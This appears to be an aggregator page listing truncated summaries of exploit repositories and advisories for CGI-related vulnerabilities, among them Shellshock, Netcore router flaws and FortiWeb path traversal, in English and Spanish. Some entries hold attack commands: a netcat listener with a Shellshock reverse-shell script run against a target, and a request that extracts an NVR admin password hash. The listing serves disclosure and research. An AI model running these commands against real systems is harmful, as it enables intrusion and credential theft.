shellshock-victim-host

shellshock-victim-host A docker container vulnerable to Shellshock - CVE-2014-6271 Run root@kitploit: podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim Note: Builds with docker as well. The vulnerable app will be deployed on : http://localhost:8080/victim.cgi -...

CVE-2023-47564

CVE-2023-47564 https://www.qnap.com/en/security-advisory/qsa-24-03 https://vulners.com/cve/CVE-2023-47564 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 8.1 "Se ha informado de una vulnerabilidad de asignación incorrecta de permisos para un recurso crítico que afecta a Qsync Central. Si se explota,...

CVE-2019-0232

CVE-2019-0232 Descripción Esta es una herramienta que automatiza el flujo de trabajo de explotación para CVE‑2019‑0232 proporcionando tanto el modo de ejecución de comandos como el modo de shell inversa. Soporta codificación automática de URLs para comandos, inicia un servidor HTTP temporal para...

Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report

Ciego-SSRF-a-Ejecución-Remota-de-Código-Shellshock-Informe-Profesional-de-Bug-Bounty Este repositorio contiene un informe profesional de bug bounty que demuestra la explotación exitosa de una vulnerabilidad de SSRF Ciego que alcanzó un endpoint CGI interno vulnerable a Shellshock CVE-2014-6271. S...

poc-yaws-cgi-shell-injection

OS command injection in Yaws web server CVE-2020-24916 Proof of concept Build test image: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . and/or Run container docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi root@kitploit: curl...

EUVD-2026-80060

Netcore NR255-V firmware version 1.5.130703 contains a sensitive information disclosure vulnerability in the ddnswanlistshow.cgi endpoint and related DDNSsetcgi, IGDGetCgiHandler, and IGDCgiCall components. Attackers who reach this CGI handler can obtain plaintext DDNS credentials, exposing...

CVE-2026-92256

NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in l2tpdconfigshowcgi.c, ipsecshowcgi.c, and modvpnremote/plan.json read handlers. Attackers can query l2tpdconfigshow.cgi to expose stored IPsec PSK and RSA key material...

CVE-2026-76869

Netcore NR255-V version 1.5.130703 contains a stack-based buffer overflow in reboottimerset.cgi caused by improper sscanf token parsing. Attackers can exploit this flaw by submitting crafted input to the affected endpoint to corrupt stack memory...

CVE-2026-76861

Netcore NR255-V version 1.5.130703 contains a stack-based buffer overflow in ntoolstcpdumpstartset.cgi caused by an unsized sprintf call when processing form values. An attacker can submit crafted input to this cgi endpoint to overflow the stack buffer and potentially execute arbitrary code...

CVE-2026-76854

Netcore NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in l7webauthusershow.cgi related to captive-portal credential handling. Attackers can query this component to obtain captive-portal user credentials, compromising confidentiality of authenticated network...

CVE-2026-76861

Netcore NR255-V version 1.5.130703 contains a stack-based buffer overflow in the ntools_tcpdump_start_set.cgi endpoint, caused by an unsized sprintf call when processing form values. An attacker with low privileges can submit crafted input to this CGI to overflow the stack buffer, potentially ach...

CVE-2026-76857 Netcore NR255-V 1.5.130703 Plaintext DDNS Credential Disclosure via ddns_wan_list_show.cgi

Netcore NR255-V firmware version 1.5.130703 contains a sensitive information disclosure vulnerability in the ddnswanlistshow.cgi endpoint and related DDNSsetcgi, IGDGetCgiHandler, and IGDCgiCall components. Attackers who reach this CGI handler can obtain plaintext DDNS credentials, exposing...

CVE-2024-10914__POC

CVE-2024-10914 - Proof of Concept Exploit para vulnerabilidad de inyección de comando en el endpoint /cgi-bin/accountmgr.cgi. Esta vulnerabilidad permite ejecutar comandos arbitrarios en el sistema afectado a través de parámetros no sanitizados. Descripción de la Vulnerabilidad CVE-2024-10914 es...

EUVD-2026-78943

An issue in MitraStar GPT-2742GX4X5v6-SV GLg2.5100XNT0b233 allows an authenticated attacker to execute arbitrary code via the /cgi-bin/device-management-utilities-internet.cgi component...

CVE-2025-64446-FortiWeb-CGI-Bypass-PoC

CVE-2025-64446 Exploit Tool Exploit tool for CVE-2025-64446 vulnerability verification and exploitation in FortiWeb devices. Description This tool tests for and exploits a path traversal vulnerability CVE-2025-64446 in FortiWeb web application firewalls. It can be used to verify vulnerability...

CVE-2022-21587-Oracle-EBS-

Prerequirement for this exploit to run: python3 including module requests, os, sys, slipit uuencode Before you run, make sure to use for only on ethical duties if the exploit Fail to run: Make sure you already install the pre req module install requests pip3 install requests Install slipit, git...

CVE-2014-6271

CVE-2014-6271 python2.7 Start listening on your machine. root@kitploit: nc -l -p 4444 Run python script by the rule below: python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Enjoy...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd Primero, obtén el hash MD5 de la contraseña de la cuenta 'admin'. Send: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windo...

CVE-2026-73673

CVE-2026-73673: Netis NC63 Unauthenticated Firmware Update with Missing Cryptographic Firmware Authentication Original vulnerability research by Özcan Ersan @ozcanpng. This repository documents CVE-2026-73673, discovered and reported by the author. Non-destructive proof-of-concept and evidence...

CVE-2025-67445

Información general Una vulnerabilidad en la interfaz de administración web del TOTOLINK X5000R V9.1.0cu.2415 permite que un atacante remoto no autenticado en la LAN provoque la caída del servicio web mediante un fallo de segmentación. Al enviar una solicitud HTTP POST de gran tamaño al endpoint...